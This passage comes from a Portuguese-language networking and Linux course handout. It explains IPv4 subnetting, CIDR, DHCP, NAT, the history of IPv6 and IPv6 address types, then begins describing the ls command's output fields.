original.
Pgina 14
Por exemplo, a rede Classe C 200.100.100.0/255.255.255.0, com 256 nmeros IPs disponveis (na prtica so 254 nmeros que podem ser utilizados, descontando o primeiro que o nmero da prpria rede e o ltimo que o endereo de broadcast, poderia ser dividida em 8 sub-redes, com 32 nmeros IP em cada sub-rede. O esquema a seguir ilustra este conceito: Rede original: 256 endereos IP disponveis: 200.100.100.0 -> 200.100.100.255 Diviso da rede em 8 sub-redes, onde cada sub-rede ca com 32 endereos IP: Sub-rede 01: 200.100.100.0 -> 200.100.100.31 Sub-rede 02: 200.100.100.32 -> 200.100.100.63 Sub-rede 03: 200.100.100.64 -> 200.100.100.95 Sub-rede 04: 200.100.100.96 -> 200.100.100.127 Sub-rede 05: 200.100.100.128 -> 200.100.100.159 Sub-rede 06: 200.100.100.160 -> 200.100.100.191 Sub-rede 07: 200.100.100.192 -> 200.100.100.223 Sub-rede 08: 200.100.100.224 -> 200.100.100.255 Para o exemplo da empresa com seis localidades (matriz mais cinco liais), onde, no mximo, so necessrios trinta endereos IP por localidade, a utilizao de uma nica rede classe C, dividida em 8 sub-redes seria a soluo ideal. Na prtica a primeira e a ltima sub-rede so descartadas, pois o primeiro IP da primeira subrede representa o endereo de rede e o ltimo IP da ltima sub-rede representa o endereo de broadcast. Com isso restariam, ainda, seis sub-redes. Exatamente a quantia necessria para o exemplo proposto. Observe que ao invs de seis redes classe C, bastou uma nica rede Classe C, subdividida em seis sub-redes. Uma bela economia de endereos. Claro que se um dos escritrios, ou a matriz, precisasse de mais de 32 endereos IP, um esquema diferente de diviso teria que ser criado. Em 1990, j existiam 313.000 hosts conectados a rede e estudos j apontavam para um colapso devido a falta de endereos. Alm disso outros problemas tambm tornavam-se mais efetivos conforme a Internet evolua, como o aumento da tabela de roteamento. Devido ao ritmo de crescimento da Internet e da poltica de distribuio de endereos, em maio de 1992, 38% das faixas de endereos classe A, 43% da classe B e 2% da
Pgina 15
classe C, j estavam alocados. Nesta poca, a rede j possua 1.136.000 hosts conectados. Em 1993, com a criao do protocolo HTTP e a liberao por parte do Governo dos Estados Unidos para a utilizao comercial da Internet, houve um salto ainda maior na taxa de crescimento da rede, que passou de 2.056.000 de hosts em 1993 para mais de 26.000.000 de hosts em 1997. Diante desse cenrio, a IETF (Internet Engineering Task Force) passa a discutir estratgias para solucionar a questo do esgotamento dos endereos IP e do aumento da tabela de roteamento. Em funo disso, em novembro de 1991, formado o grupo de trabalho ROAD (ROuting and Addressing), que apresenta como soluo a estes problemas, a utilizao do CIDR (Classless Inter-domain Routing). Denido na RFC 4632 (tornou obsoleta a RFC 1519), o CIDR tem como idia bsica o m do uso de classes de endereos, permitindo a alocao de blocos de tamanho apropriado a real necessidade de cada rede; e a agregao de rotas, reduzindo o tamanho da tabela de roteamento. Com o CIDR os blocos so referenciados como prexo de redes. Por exemplo, no endereo a.b.c.d/x, os x bits mais signicativos indicam o prexo da rede. Outra forma de indicar o prexo atravs de mscaras, onde a mscara 255.0.0.0 indica um prexo /8, 255.255.0.0 indica um /16, e assim sucessivamente. Outra soluo, apresentada na RFC 2131 (tornou obsoleta a RFC 1541), foi o protocolo DHCP (Dynamic Host Conguration Protocol). Atravs do DHCP um host capaz de obter um endereo IP automaticamente e adquirir informaes adicionais como mscara de sub-rede, endereo do roteador padro e o endereo do servidor DNS local. O DHCP tem sido muito utilizado por parte dos ISPs por permitir a atribuio de endereos IP temporrios a seus clientes conectados. Desta forma, torna-se desnecessrio obter um endereo para cada cliente, devendo-se apenas designar endereos dinamicamente, atravs de seu servidor DHCP. Este servidor ter uma lista de endereos IP disponveis, e toda vez que um novo cliente se conectar rede, lhe ser designado um desses endereo de forma arbitrria, e no momento que o cliente se desconecta, o endereo devolvido. A NAT (Network Address Translation), foi outra tcnica paliativa desenvolvida para resolver o problema do esgotamento dos endereos IPv4. Denida na RFC 3022 (tornou obsoleta a RFC 1631), tem como ideia bsica permitir que, com um nico endereo IP, ou um pequeno nmero deles, vrios hosts possam trafegar na Internet. Dentro de uma rede, cada computador recebe um endereo IP privado nico, que utilizado para o roteamento do trfego interno. No entanto, quando um pacote precisa ser roteado para fora da rede, uma traduo de endereo realizada, convertendo
Pgina 16
endereos IP privados em endereos IP pblicos globalmente nicos. Para tornar possvel este esquema, utiliza-se os trs intervalos de endereos IP declarados como privados na RFC 1918, sendo que a nica regra de utilizao, que nenhum pacote contendo estes endereos pode trafegar na Internet pblica. As trs faixas reservadas so: 10.0.0.0 a 10.255.255.255 /8 (16.777.216 hosts) 172.16.0.0 a 172.31.255.255 /12 (1.048.576 hosts) 192.168.0.0 a 192.168.255.255 /16 (65.536 hosts) A utilizao da NAT mostrou-se eciente no que diz respeito a economia de endereos IP, alm de apresentar alguns outros aspectos positivos, como facilitar a numerao interna das redes, ocultar a topologia das redes e s permitir a entrada de pacotes gerados em resposta a um pedido da rede. No entanto, o uso da NAT apresenta inconvenientes que no compensam as vantagens oferecidas. A NAT quebra o modelo m-a-m da Internet, no permitindo conexes diretas entre dois hosts, o que diculta o funcionamento de uma srie de aplicaes, como P2P, VoIP e VPNs. Outro problema a baixa escalabilidade, pois o nmero de conexes simultneas limitado, alm de exigir um grande poder de processamento do dispositivo tradutor. O uso da NAT tambm impossibilita rastrear o caminho de pacote, atravs de ferramentas como traceroute, por exemplo, e diculta a utilizao de algumas tcnicas de segurana como IPSec. Alm disso, seu uso passa uma falsa sensao de segurana, pois, apesar de no permitir a entrada de pacotes no autorizados, a NAT no realiza nenhum tipo de ltragem ou vericao nos pacotes que passa por ela. A imagem abaixo mostra o quanto essas medidas ajudaram a diminuir o aumento da alocao de endereo:
Embora estas solues tenham diminudo a demanda por IPs, elas no foram sucientes para resolver os problemas decorrentes do crescimento da Internet. A adoo
Pgina 17
dessas tcnicas reduziu em apenas 14 Essas medidas, na verdade, serviram para que houvesse mais tempo para se desenvolver uma nova verso do IP, que fosse baseada nos princpios que zeram o sucesso do IPv4, porm, que fosse capaz de suprir as falhas apresentadas por ele. Deste modo, em dezembro de 1993 a IETF formalizou, atravs da RFC 1550, as pesquisas a respeito da nova verso do protocolo IP, solicitando o envio de projetos e propostas para o novo protocolo. Esta foi umas das primeiras aes do grupo de trabalho da IETF denominado Internet Protocol next generation (IPng). As principais questes que deveriam ser abordadas na elaborao da prxima verso do protocolo IP foram: Escalabilidade; Segurana; Congurao e administrao de rede; Suporte a QoS; Mobilidade; Polticas de roteamento; Transio. Diversos projetos comearam a estudar os efeitos do crescimento da Internet, sendo os principais o CNAT, o IP Encaps, o Nimrod e o Simple CLNP. Destas propostas surgiram o TCP and UDP with Bigger Addresses (TUBA), que foi uma evoluo do Simple CLNP, e o IP Address Encapsulation (IPAE), uma evoluo do IP Encaps. Alguns meses depois foram apresentados os projetos Pauls Internet Protocol (PIP), o Simple Internet Protocol (SIP) e o TP/IX. Uma nova verso do SIP, que englobava algumas funcionalidades do IPAE, foi apresentada pouco antes de agregar-se ao PIP, resultando no Simple Internet Protocol Plus (SIPP). No mesmo perodo, o TP/IX mudou seu nome para Common Architecture for the Internet (CATNIP). Em janeiro de 1995, na RFC 1752 o IPng apresentou um resumo das avaliaes das trs principais propostas: CANTIP foi concebido como um protocolo de convergncia, para permitir a qualquer protocolo da camada de transporte ser executado sobre qualquer protocolo de camada de rede, criando um ambiente comum entre os protocolos da
Pgina 18
Internet, OSI e Novell; TUBA sua proposta era de aumentar o espao para endereamento do IPv4 e torn-lo mais hierrquico, buscando evitar a necessidade de se alterar os protocolos da camada de transporte e aplicao. Pretendia uma migrao simples e em longo prazo, baseada na atualizao dos host e servidores DNS, entretanto, sem a necessidade de encapsulamento ou traduo de pacotes, ou mapeamento de endereos; SIPP concebido para ser uma etapa evolutiva do IPv4, sem mudanas radicais e mantendo a interoperabilidade com a verso 4 do protocolo IP, fornecia uma plataforma para novas funcionalidades da Internet, aumentava o espao para endereamento de 32 bits para 64 bits, apresentava um nvel maior de hierarquia e era composto por um mecanismo que permitia alargar o endereo chamado cluster addresses. J possua cabealhos de extenso e um campo ow para identicar o tipo de uxo de cada pacote. Entretanto, conforme relatado tambm na RFC 1752, todas as trs propostas apresentavam problemas signicativos. Deste modo, a recomendao nal para o novo Protocolo Internet baseou-se em uma verso revisada do SIPP, que passou a incorporar endereos de 128 bits, juntamente com os elementos de transio e autocongurao do TUBA, o endereamento baseado no CIDR e os cabealhos de extenso. O CATNIP, por ser considerado muito incompleto, foi descartado. Aps esta denio, a nova verso do Protocolo Internet passou a ser chamado ocialmente de IPv6.
1.5 IPv6
As especicaes da IPv6 foram apresentadas inicialmente na RFC 1883 de dezembro de 1995, no entanto, em em dezembro de 1998, est RFC foi substituda pela RFC 2460. Como principais mudanas em relao ao IPv4 destacam-se: Maior capacidade para endereamento: no IPv6 o espao para endereamento aumentou de 32 bits para 128 bits, permitindo: nveis mais especcos de agregao de endereos; identicar uma quantidade muito maior de dispositivos na rede; e implementar mecanismos de autocongurao. A escalabilidade do roteamento multicast tambm foi melhorada atravs da adio do campo "escopo"no endereo multicast. E um novo tipo de endereo, o anycast, foi denido;
Pgina 19
Simplicao do formato do cabealho: alguns campos do cabealho IPv4 foram removidos ou tornaram-se opcionais, com o intuito de reduzir o custo do processamento dos pacotes nos roteadores; Suporte a cabealhos de extenso: as opes no fazem mais parte do cabealho base, permitindo um roteamento mais ecaz, limites menos rigorosos em relao ao tamanho e a quantidade de opes, e uma maior exibilidade para a introduo de novas opes no futuro; Capacidade de identicar uxos de dados: foi adicionado um novo recurso que permite identicar de pacotes que pertenam a determinados trfegos de uxos, para os quais podem ser requeridos tratamentos especiais; Suporte a autenticao e privacidade: foram especicados cabealhos de extenso capazes de fornecer mecanismos de autenticao e garantir a integridade e a condencialidade dos dados transmitidos.
1.5.1 Endereamento
O protocolo IPv6 apresenta como principal caracterstica e justicativa maior para o seu desenvolvimento, o aumento no espao para endereamento. Por isso, importante conhecermos as diferenas entre os endereos IPv4 e IPv6, saber reconhecer a sintaxe dos endereos IPv6 e conhecer os tipos de endereos IPv6 existentes e suas principais caractersticas. No IPv4, o campo do cabealho reservado para o endereamento possui 32 bits. Este tamanho possibilita um mximo de 4.294.967.296 (232) endereos distintos. A poca de seu desenvolvimento, est quantidade era considerada suciente para identicar todos os computadores na rede e suportar o surgimento de novas subredes. No entanto, com o rpido crescimento da Internet, surgiu o problema da escassez dos endereos IPv4, motivando a a criao de uma nova gerao do protocolo IP. O IPv6 possui um espao para endereamento de 128 bits, sendo possvel obter 340.282.366.920.938.463.463.374.607.431.768.211.456 endereos (2128). Este valor representa aproximadamente 79 octilhes (7,91028) de vezes a quantidade de endereos IPv4 e representa, tambm, mais de 56 octilhes (5,61028) de endereos por ser humano na Terra, considerando-se a populao estimada em 6 bilhes de habitantes. Sero abordados os seguintes tpicos:
Pgina 20
Representao dos endereos Tipos de endereos IPv6 Endereos Unicast Identicadores de interface Endereos Multicast
1.5.1.1 Representao dos endereos Os 32 bits dos endereos IPv4 so divididos em quatro grupos de 8 bits cada, separados por ., escritos com dgitos decimais. Por exemplo: 192.168.0.10. A representao dos endereos IPv6, divide o endereo em oito grupos de 16 bits, separando-os por :, escritos com dgitos hexadecimais (0-F). Por exemplo: 2001:0DB8:AD1F:25E2:CADE:CAFE:F0CA:84C1 Na representao de um endereo IPv6, permitido utilizar tanto caracteres maisculos quanto minsculos. Alm disso, regras de abreviao podem ser aplicadas para facilitar a escrita de alguns endereos muito extensos. permitido omitir os zeros a esquerda de cada bloco de 16 bits, alm de substituir uma sequncia longa de zeros por ::. Por exemplo, o endereo 2001:0DB8:0000:0000:130F:0000:0000:140B pode ser escrito como 2001:DB8:0:0:130F::140B ou 2001:DB8::130F:0:0:140B. Neste exemplo possvel observar que a abreviao do grupo de zeros s pode ser realizada uma nica vez, caso contrrio poder haver ambigidades na representao do endereo. Se o endereo acima fosse escrito como 2001:DB8::130F::140B, no seria possvel determinar se ele corresponde a 2001:DB8:0:0:130F:0:0:140B, a 2001:DB8:0:0:0:130F:0:140B ou 2001:DB8:0:130F:0:0:0:140B. Esta abreviao pode ser feita tambm no m ou no incio do endereo, como ocorre em 2001:DB8:0:54:0:0:0:0 que pode ser escrito da forma 2001:DB8:0:54::. Outra representao importante a dos prexos de rede. Em endereos IPv6 ela continua sendo escrita do mesmo modo que no IPv4, utilizando a notao CIDR. Esta notao representada da forma endereo-IPv6/tamanho do prexo, onde tamanho do prexo um valor decimal que especica a quantidade de bits contguos esquerda do endereo que compreendem o prexo. O exemplo de prexo
Pgina 21
de sub-rede apresentado a seguir indica que dos 128 bits do endereo, 64 bits so utilizados para identicar a sub-rede. Prexo 2001:db8:3003:2::/64 Prexo global 2001:db8::/32 ID da sub-rede 3003:2 Esta representao tambm possibilita a agregao dos endereos de forma hierrquica, identicando a topologia da rede atravs de parmetros como posio geogrca, provedor de acesso, identicao da rede, diviso da sub-rede, etc. Com isso, possvel diminuir o tamanho da tabela de roteamento e agilizar o encaminhamento dos pacotes. Com relao a representao dos endereos IPv6 em URLs (Uniform Resource Locators), estes agora passam a ser representados entre colchetes. Deste modo, no haver ambiguidades caso seja necessrio indicar o nmero de uma porta juntamente com a URL. Observe os exemplos a seguir: http://[2001:12ff:0:4::22]/index.html http://[2001:12ff:0:4::22]:8080
1.5.1.2 Tipos de endereos IPv6 Existem no IPv6 trs tipos de endereos denidos: Unicast este tipo de endereo identica uma nica interface, de modo que um pacote enviado a um endereo unicast entregue a uma nica interface; Anycast identica um conjunto de interfaces. Um pacote encaminhado a um endereo anycast entregue a interface pertencente a este conjunto mais prxima da origem (de acordo com distncia medida pelos protocolos de roteamento). Um endereo anycast utilizado em comunicaes de um-para-umde-muitos. Multicast tambm identica um conjunto de interfaces, entretanto, um pacote enviado a um endereo multicast entregue a todas as interfaces associadas a esse endereo. Um endereo multicast utilizado em comunicaes de umpara-muitos.
Pgina 22
Diferente do IPv4, no IPv6 no existe endereo broadcast, responsvel por direcionar um pacote para todos os ns de um mesmo domnio. No IPv6, essa funo foi atribuda tipos especcos de endereos multicast.
1.5.1.2.1 Endereos Unicast - Os endereos unicast so utilizados para comunicao entre dois ns, por exemplo, telefones VoIPv6, computadores em uma rede privada, etc., e sua estrutura foi denida para permitir agregaes com prexos de tamanho exvel, similar ao CIDR do IPv4. Existem alguns tipos de endereos unicast IPv6: Global Unicast; Unique-Local; e Link-Local por exemplo. Existem tambm alguns tipos para usos especiais, como endereos IPv4 mapeados em IPv6, endereo de loopback e o endereo no-especicado, entre outros. Global Unicast equivalente aos endereos pblicos IPv4, o endereo global unicast globalmente rotevel e acessvel na Internet IPv6. Ele constitudo por trs partes: o prexo de roteamento global, utilizado para identicar o tamanho do bloco atribudo a uma rede; a identicao da sub-rede, utilizada para identicar um enlace em uma rede; e a identicao da interface, que deve identicar de forma nica uma interface dentro de um enlace.Sua estrutura foi projetada para utilizar os 64 bits mais a esquerda para identicao da rede e os 64 bits mais a direita para identicao da interface. Portanto, exceto casos especcos, todas as sub-redes em IPv6 tem o mesmo tamanho de prexo, 64 bits (/64), o que possibilita 264 = 18.446.744.073.709.551.616 dispositivos por subrede. Atualmente, est reservada para atribuio de endereos a faixa 2000::/3 (001), que corresponde aos endereos de 2000:: a 3fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff. Isto representa 13% do total de endereos possveis com IPv6, o que nos permite criar 2.305.843.009.213.693.952 (2,31018) sub-redes (/64) diferentes ou 35.184.372.088.832 (3,51013) redes /48. Link Local podendo ser usado apenas no enlace especco onde a interface est conectada, o endereo link local atribudo automaticamente utilizando o prexo FE80::/64. Os 64 bits reservados para a identicao da interface so congurados utilizando o formato IEEE EUI- 64. Vale ressaltar que os roteadores no devem encaminhar para outros enlaces, pacotes que possuam como origem ou destino um endereo link-local Unique Local Address (ULA) endereo com grande probabilidade de ser globalmente nico, utilizado apenas para comunicaes locais, geralmente dentro de um mesmo enlace ou conjunto de enlaces. Um endereo ULA no deve ser rotevel na Internet global.Um endereo ULA, criado utilizado um ID globa alocado pseudo-randomicamente, composto das seguintes partes:
Pgina 23
Prexo: FC00::/7. Flag Local (L): se o valor for 1 (FD) o prexo atribudo localmente. Se o valor for 0 (FC), o prexo deve ser atribudo por uma organizao central (ainda a denir). Identicador global: identicador de 40 bits usado para criar um prexo globalmente nico. Identicador da Interface: identicador da interface de 64 bits. Deste modo, a estrutura de um endereo ULA FDUU:UUUU:UUUU:: onde U so os bits do identicador nico, gerado aleatoriamente por um algoritmo especco. Sua utilizao permite que qualquer enlace possua um prexo /48 privado e nico globalmente. Deste modo, caso duas redes, de empresas distintas por exemplo, sejam interconectadas, provavelmente no haver conito de endereos ou necessidade de renumerar a interface que o esteja usando. Alm disso, o endereo ULA independente de provedor, podendo ser utilizado na comunicao dentro do enlace mesmo que no haja uma conexo com a Internet. Outra vantagem, que seu prexo pode ser facilmente bloqueado, e caso um endereo ULA seja anunciado acidentalmente para fora do enlace, atravs de um roteador ou via DNS, no haver conito com outros endereos.
1.5.1.2.1.1 Identicadores de interface Os identicadores de interface (IID), utilizados para distinguir as interfaces dentro de um enlace, devem ser nicos dentro do mesmo prexo de sub-rede. O mesmo IID pode ser usado em mltiplas interfaces em um nico n, porm, elas dever estar associadas a deferentes sub-redes. Normalmente utiliza-se um IID de 64 bits, que pode ser obtido de diversas formas. Ele pode ser congurado manualmente, a partir do mecanismo de autocongurao stateless do IPv6, a partir de servidores DHCPv6 (stateful), ou formados a partir de uma chave pblica (CGA). Estes mtodos sero detalhados no decorrer deste curso. Embora eles possam ser gerados randomicamente e de forma temporria, recomendase que o IID seja construdo baseado no endereo MAC da interface, no formato EUI-64. Um IID baseado no formato EUI-64 criado da seguinte forma: Caso a interface possua um endereo MAC de 64 bits (padro EUI-64), basta
Pgina 24
complementar o stimo bit mais a esquerda (chamado de bit U/L Universal/Local) do endereo MAC, isto , se for 1, ser alterado para 0; se for 0, ser alterado para 1. Caso a interface utilize um endereo MAC de 48 bits (padro IEEE 802), primeiro adiciona-se os dgitos hexadecimais FF-FE entre o terceiro e quarto Byte do endereo MAC (transformando no padro EUI-64), e em seguida, o bit U/L complementado. Por exemplo: Se endereo MAC da interface for: 48-1E-C9-21-85-0C adiciona-se os dgitos FF-FE na metade do endereo: 48-1E-C9-FF-FE-21-85-0C complementa-se o bit U/L: 48 = 01001000 01001000 01001010 01001010 = 4A IID = 4A-1E-C9-FF-FE-21-85-0C Um endereo link local atribudo essa interface seria FE80::4A1E:C9FF:FE21:850C.
Endereo No-Especicado (Unspecied): representado pelo endereo 0:0:0:0:0:0:0:0 ou ::0 (equivalente ao endereo IPv4 unspecied 0.0.0.0). Ele nunca deve ser atribudo a nenhum n, indicando apenas a ausncia de um endereo. Ele pode, por exemplo, ser utilizado no campo Endereo de Origem de um pacote IPv6 enviado por um host durante o processo de inicializao, antes que este tenha seu endereo exclusivo determinado. O endereo unspecied no deve ser utilizado como endereo de destino de pacotes IPv6; Endereo Loopback: representado pelo endereo unicast 0:0:0:0:0:0:0:1 ou ::1 (equivalente ao endereo IPv4 loopback 127.0.0.1). Este endereo utilizado para referenciar a prpria mquina, sendo muito utilizado para teste internos. Este tipo de endereo no deve ser atribudo a nenhuma interface fsica,
Pgina 25
nem usado como endereo de origem em pacotes IPv6 enviados para outros ns. Alm disso, um pacote IPv6 com um endereo loopback como destino no pode ser enviado por um roteador IPv6, e caso um pacote recebido em uma interface possua um endereo loopback como destino, este deve ser descartado; Endereos IPv4-mapeado: representado por 0:0:0:0:0:FFFF:wxyz ou ::FFFF:wxyz, usado para mapear um endereo IPv4 em um endereo IPv6 de 128-bit, onde wxyz representa os 32 bits do endereo IPv4, utilizando dgitos decimais. aplicado em tcnicas de transio para que ns IPv6 e IPv4 se comuniquem. Ex. ::FFFF:192.168.100.1. Algumas faixas de endereos tambm so reservadas para uso especcos: 2002::/16: prexo utilizado no mecanismo de transio 6to4; 2001:0000::/32: prexo utilizado no mecanismo de transio TEREDO; 2001:db8::/32: prexo utilizado para representar endereos IPv6 em textos e documentaes. Outros endereos, utilizados no incio do desenvolvimento do IPv6 tornaram-se obsoletos e no devem mais ser utilizados: FEC0::/10: prexo utilizado pelos endereos do tipo site local, desenvolvidos para serem utilizados dentro de uma rede especca sem a necessidade de um prexo global, equivalente aos endereos privados do IPv4. Sua utilizao foi substituda pelos endereos ULA; ::wxyz: utilizado para representar o endereo IPv4-compatvel. Sua funo a mesma do endereo IPv4-mapeado, tornando-se obsoleto por desuso; 3FFE::/16: prexo utilizado para representar os endereos da rede de teste 6Bone. Criada para ajudar na implantao do IPv6, est rede foi desativada em 6 de junho de 2006 (06/06/06).
1.5.1.2.2 Endereos Anycast Um endereo IPv6 anycast utilizado para identicar um grupo de interfaces, porm, com a propriedade de que um pacote enviado a um endereo anycast encaminhado apenas a interface do grupo mais prxima da origem do pacote. Os endereos anycast so atribudos a partir da faixa de endereos unicast e no h diferenas sintticas entre eles. Portanto, um endereo unicast atribudo a mais
Pgina 26
de uma interface transforma-se em um endereo anycast, devendo-se neste caso, congurar explicitamente os ns para que saibam que lhes foi atribudo um endereo anycast. Alm disso, este endereo deve ser congurado nos roteadores como uma entrada separada (prexo /128 host route). Este esquema de endereamento pode ser utilizado para descobrir servios na rede, como servidores DNS e proxies HTTP, garantindo a redundncia desses servios. Tambm pode-se utilizar para fazer balanceamento de carga em situaes onde mltiplos hosts ou roteadores provem o mesmo servio, para localizar roteadores que forneam acesso a uma determinada sub-rede ou para localizar os Agentes de Origem em redes com suporte a mobilidade IPv6. Todos os roteadores devem ter suporte ao endereo anycast Subnet-Router. Este tipo de endereo formado pelo prexo da sub-rede e pelo IID preenchido com zeros (ex.: 2001:db8:cafe:dad0::/64). Um pacote enviado para o endereo Subnet-Router ser entregue para o roteador mais prximo da origem dentro da mesma sub-rede. Tambm foi denido um endereo anycast para ser utilizado no suporte a mobilidade IPv6. Este tipo de endereo formado pelo prexo da sub-rede seguido pelo IID dfff:ffff:ffff:fffe (ex.: 2001:db8::dfff:ffff:ffff:fffe). Ele utilizado pelo N Mvel, quando este precisar localizar um Agente Origem em sua Rede Original.
1.5.1.2.3 Endereos Multicast Endereos multicast so utilizados para identicar grupos de interfaces, sendo que cada interface pode pertencer a mais de um grupo. Os pacotes enviados para esses endereo so entregues a todos as interfaces que compe o grupo. No IPv4, o suporte a multicast opcional, j que foi introduzido apenas como uma extenso ao protocolo. Entretanto, no IPv6 requerido que todos os ns suportem multicast, visto que muitas funcionalidades da nova verso do protocolo IP utilizam esse tipo de endereo. Seu funcionamento similar ao do broadcast, dado que um nico pacote enviado a vrios hosts, diferenciando-se apenas pelo fato de que no broadcast o pacote enviado a todos os hosts da rede, sem exceo, enquanto que no multicast apenas um grupo de hosts receber esse pacote. Deste modo, a possibilidade de transportar apenas uma cpia dos dados a todos os elementos do grupo, a partir de uma rvore de distribuio, pode reduzir a utilizao de recurso de uma rede, bem como otimizar a entrega de dados aos hosts receptores. Aplicaes como videoconferncia, distribuio de vdeo sob demanda, atualizaes de softwares e jogos on-line, so exemplos de servios que vm ganhando notoriedade e podem utilizar as vantagens apresentadas pelo multicast. Os endereos multicast
Pgina 27
no devem ser utilizados como endereo de origem de um pacote. Esses endereos derivam do bloco FF00::/8, onde o prexo FF, que identica um endereo multicast, precedido por quatro bits, que representam quatro ags, e um valor de quatro bits que dene o escopo do grupo multicast. Os 112 bits restantes so utilizados para identicar o grupo multicast. As ags so denidas da seguinte forma: O primeiro bit mais a esquerda reservado e deve ser marcado com 0; Flag R: Se o valor for 1, indica que o endereo multicast carrega o endereo de um Ponto de Encontro (Rendezvous Point). Se o valor for 0, indica que no h um endereo de Ponto de Encontro embutido; Flag P: Se o valor for 1, indica que o endereo multicast baseado em um prexo de rede. Se o valor for 0, indica que o endereo no baseado em um prexo de rede; Flag T: Se o valor for 0, indica que o endereo multicast permanente, ou seja, atribudo pela IANA. Se o valor for 1, indica que o endereo multicast no permanente, ou seja, atribudo dinamicamente. Os quatro bits que representam o escopo do endereo multicast, so utilizados para delimitar a rea de abrangncia de um grupo multicast. Os valores atribudos a esse campo so o seguinte: 1 abrange apenas a interface local; 2 abrange os ns de um enlace; 3 abrange os ns de uma sub-rede 4 abrange a menor rea que pode ser congurada manualmente; 5 abrange os ns de um site; 8 abrange vrios sites de uma mesma organizao; E abrange toda a Internet; 0, F reservados; 6, 7, 9, A, B, C, D no esto alocados.
Pgina 28
Deste modo, um roteador ligado ao backbone da Internet no encaminhar pacotes com escopo menor do que 14 (E em hexa), por exemplo. No IPv4, o escopo de um grupo multicast especicado atravs do campo TTL do cabealho. A lista abaixo apresenta alguns endereos multicast permanentes:
O endereo multicast solicited-node identica um grupo multicast que todos os ns passam a fazer parte assim que um endereo unicast ou anycast lhes atribudo. Um endereo solicited-node formado agregando-se ao prexo FF02::1:FF00:0000/104 os 24 bits mais a direita do identicador da interface, e para cada endereo unicast ou anycast do n, existe um endereo multicast solicited- node correspondente. Em redes IPv6, o endereo solicited-node utilizado pelo protocolo de Descoberta de Vizinhana para resolver o endereo MAC de uma interface. Para isso, envia-se uma mensagem Neighbor Solicitation para o endereo solicited-node. Com isso, apenas as interfaces registradas neste grupo examinam o pacote. Em uma rede IPv4, para se determinar o endereo MAC de uma interface, envia- se uma mensagem ARP Request para o endereo broadcast da camada de enlace, de modo que todas as interfaces do enlace examinam a mensagem. Com o intuito de reduzir o nmero de protocolos necessrios para a alocao de endereos multicast, foi denido um formato estendido de endereo multicast, que
Pgina 29
permite a alocao de endereos baseados em prexos unicast e de endereos SSM (source-specic multicast). Em endereos baseados no prexo da rede, a ag P marcada com o valor 1. Neste caso, o uso do campo escopo no altera, porm, o escopo deste endereo multicast no deve exceder o escopo do prexo unicast carregado junto a ele. Os 8 bits aps o campo escopo, so reservados e devem ser marcados com zeros. Na sequncia, h 8 bits que especicam o tamanho do prexo da rede indicado nos 64 bits que os seguem. Caso o prexo da rede seja menor que 64 bits, os bits no utilizados no campo tamanho do prexo, devem ser marcados com zeros. O campo identicador do grupo utiliza os 32 bits restantes. Note que, em um endereo onde a ag P marcada com o valor 1, a ag T tambm deve ser marcada com o valor 1, pois este no representa um endereo denido pela IANA. No modelo tradicional de multicast, chamado de any-source multicast (ASN), o participante de um grupo multicast no controla de que fonte deseja receber os dados. Com o SSM, uma interface pode registrar-se em um grupo multicast e especicar as fontes de dados. O SSM pode ser implementado utilizando o protocolo MLDv2 (Multicast Listener Discovery version 2). Para um endereo SSM, as ags P e T so marcadas com o valor 1. Os campos tamanho do prexo e o prexo da rede so marcados com zeros, chegando ao prexo FF3X::/32, onde X o valor do escopo. O campo Endereo de Origem do cabealho IPv6 identica o dono do endereo multicast. Todo endereo SSM tem o formato FF3X::/96. Os mtodos de gerenciamento dos grupos multicast sero abordados no prximo mdulo deste curso. Tambm importante destacar algumas caractersticas relacionadas ao endereo apresentadas pela nova arquitetura do protocolo IPv6. Assim como no IPv4, os endereos IPv6 so atribudos s interfaces fsicas, e no aos ns, de modo que cada interface precisa de pelo menos um endereo unicast. No entanto, possvel atribuir a uma nica interface mltiplos endereos IPv6, independentemente do tipo (unicast, multicast ou anycast) ou sub-tipo (loopback, link local, 6to4, etc.). Deste modo um n pode ser identicado atravs de qualquer endereo das suas interfaces, e com isso, torna-se necessrio escolher entre seus mltiplos endereos qual utilizar como endereo de origem e destino ao estabelecer uma conexo. Para resolver esta questo, foram denidos dois algoritmos, um para selecionar o endereo de origem e outro para o de destino. Esses algoritmos, que devem ser implementados por todos os ns IPv6, especicam o comportamento padro desse ns, porm no substituem as escolhas feitas por aplicativos ou protocolos da ca-
Pgina 30
mada superior. Entre as regras mais importantes destacam-se: Pares de endereos do mesmo escopo ou tipo tm preferncia; O menor escopo para endereo de destino tem preferncia (utiliza-se o menor escopo possvel); Endereos cujo tempo de vida no expirou tem preferncia sobre endereos com tempo de vida expirado; Endereos de tcnicas de transio (ISATAP, 6to4, etc.) no podem ser utilizados se um endereo IPv6 nativo estiver disponvel; Se todos os critrios forem similares, pares de endereos com o maior prexo comum tero preferncia; Para endereos de origem, endereos globais tero preferncia sobre endereos temporrios; Em um N Mvel, o Endereo de Origem tem preferncia sobre um Endereo Remoto. Estas regras devem ser utilizadas quando no houver nenhuma outra especicao. As especicaes tambm permitem a congurao de polticas que possam substituir esses padres de preferncias com combinaes entre endereos de origem e destino.
Pgina 31
2 Aprendendo GNU/Linux
2.1 Comandos e Shell
Comandos so instrues passadas ao computador para executar uma determinada tarefa. No mundo *NIX (GNU/Linux,Unix), o conceito de comandos diferente do padro MS-DOS. Um comando qualquer arquivo executvel, que pode ser ou no criado pelo usurio. Uma das tantas vantagens do GNU/Linux a variedade de comandos que ele oferece, anal, para quem conhece comandos, a administrao do sistema acaba se tornando um processo mais rpido. O Shell o responsvel pela interao entre o usurio e o sistema operacional, interpretando os comandos. no Shell que os comandos so executados.
2.1.1 O comando ls
O comando ls possui muitos parmetros, veremos aqui as opes mais utilizadas. A primeira delas o -l que lista os arquivos ou diretrios de uma forma bem detalhada (quem criou, data de criao, tamanho, dono e grupo ao qual cada um pertence):
1 2
Veja que a sada desse comando bem detalhada. Falando sobre os campos, para o primeiro caractere temos algumas opes:
Aprendendo GNU/Linux
1 2 3 4 5 6 7 8
d => indica que se trata de um diret rio l => indica que se trata de um " link " ( como se fosse um atalho tamb m vamos falar sobre ele depois ) - => h fen , indica que se trata de um arquivo regular c => indica que o arquivo um dispositivo de caractere ( sem buffer ) b => indica que o arquivo um dispositivo de bloco ( com buffer ) u => " sin nimo para o tipo c " indica que o arquivo um dispositivo de caractere ( sem buffer ) s => indica que o arquivo um socket p => indica que o arquivo um fifo , named pipe
